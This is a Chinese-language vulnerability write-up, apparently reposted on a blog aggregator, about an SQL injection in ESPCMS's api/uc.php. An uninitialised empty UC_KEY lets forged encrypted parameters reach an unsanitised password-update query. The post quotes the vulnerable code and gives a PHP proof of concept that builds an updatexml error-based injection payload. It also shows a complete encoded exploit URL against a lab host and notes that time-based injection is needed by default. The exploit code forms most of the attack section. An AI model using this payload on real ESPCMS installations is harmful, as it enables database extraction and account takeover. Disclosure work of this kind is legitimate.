美文网首页
ESPCMS UC未初始化导致SQL注入

ESPCMS UC未初始化导致SQL注入

作者: 索马里的乌贼 | 来源:发表于2018-08-07 21:30 被阅读0次
  1. 发布时间:2016-08-10
  2. 公开时间:N/A
  3. 漏洞类型:SQL注入
  4. 危害等级:高
  5. 漏洞编号:xianzhi-2016-08-37732301
  6. 测试版本:N/A

漏洞详情

安装时未初始化uc导致注入
api/uc.php

$code = @$_GET['code'];
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if (MAGIC_QUOTES_GPC) {
    $get = _stripslashes($get);
}
$timestamp = time();
…………
$action = $get['action'];
…………
if (in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'))) {
    include_once DISCUZ_ROOT2 . 'datacache/public.php';
    require_once DISCUZ_ROOT . './class_dbMysql.php';
    $GLOBALS['db'] = new dbmysql();
    $GLOBALS['db']->connect(db_host, db_user, db_pw, db_name, db_charset, 1);
    $GLOBALS['tablepre'] = db_prefix;
    $uc_note = new uc_note();
    $turecode = $uc_note->$get'action';
    exit($uc_note->$get'action');
…………
function updatepw($get, $post) {
    if (!API_UPDATEPW) {
        return API_RETURN_FORBIDDEN;
    }
    $username = $get['username'];
    $password = $get['password'];
    $newpw = md5($password);
    $this->db->query("UPDATE " . $this->tablepre . "member SET password='$newpw' WHERE username='$username'"); //更改密码
    return API_RETURN_SUCCEED;
}

流程是 $code->$get->$username;

UC_KEY的定义在 public/uc_config.php
define('UC_KEY', \$CONFIG['mem_uckey']);
$CONFIG['mem_uckey']在datacache/command.php
'mem_uckey'=>'',
所以UC_KEY的值就是'' 所以就能自己构造任意的值来被_authcode解密最终进入sql执行
poc如下

<?php
$timestamp = time()+10*3600;
$str = "time=$timestamp&action=updatepw&password=123&username=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#";
echo urlencode(_authcode($str,'ENCODE'));
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
…………省略…………
}

这里为了方便演示开启了datacache/public.php中的db_sql和db_err选项 可以直接看到注入结果,

实际测试中默认关闭这两个选项所以需要延时注入。
访问http://192.168.1.170/espcms/api/uc.php?code=e06bFQG%2B5HM2KmutQthfoGFLlNpfo0TY7UkXxa3gXlWoSSlCg1ZeDUccbKjwS4mkiDOv9RoSGZhQKi8SfDCsyWKZ8UqYmHCpe17LrW%2FNNG5DpuUrudZHVVJxTV9YLgK3yNQGs4pef1e4CCwNA2AbT7Y06dqgIsvkqHWrmXjr%2BA82IrAjrVAUig9I9%2FsnWA
结果如图

view.png

相关文章

  • ESPCMS UC未初始化导致SQL注入

    发布时间:2016-08-10 公开时间:N/A 漏洞类型:SQL注入 危害等级:高 漏洞编号:xianzhi-2...

  • ESPCMS SQL注入

    发布时间:2016-08-09 公开时间:N/A 漏洞类型:SQL注入 危害等级:高 漏洞编号:xianzhi-2...

  • sql注入与sql预处理

    sql注入 什么是SQL注入 sql注入是指用户通过传递一些非法参数导致sql语句未按预想效果执行,从而导致用户能...

  • ASP.NET-漏洞处理-Sql注入漏洞和XSS入侵漏洞修复

    Sql注入漏洞:Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行,导致参数中的特殊字符破坏了SQL...

  • Web常见的漏洞描述与修复方案

    1.SQL注入 漏洞描述 Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行,导致参数中的特殊字符破...

  • 代码审计基础之SQL注入漏洞

    1.SQL注入原理 SQL注入就是攻击者通过把恶意的SQL语句插入到Web表单的输入页面中,且插入的恶意语句会导致...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • SQL注入和Clickjack保护

    SQL注入保护 SQL注入是一种恶意用户能够在数据库上执行任意SQL代码的攻击类型。这可能会导致记录被删除或数据泄...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

网友评论

      本文标题:ESPCMS UC未初始化导致SQL注入

      本文链接:https://www.haomeiwen.com/subject/uclzvftx.html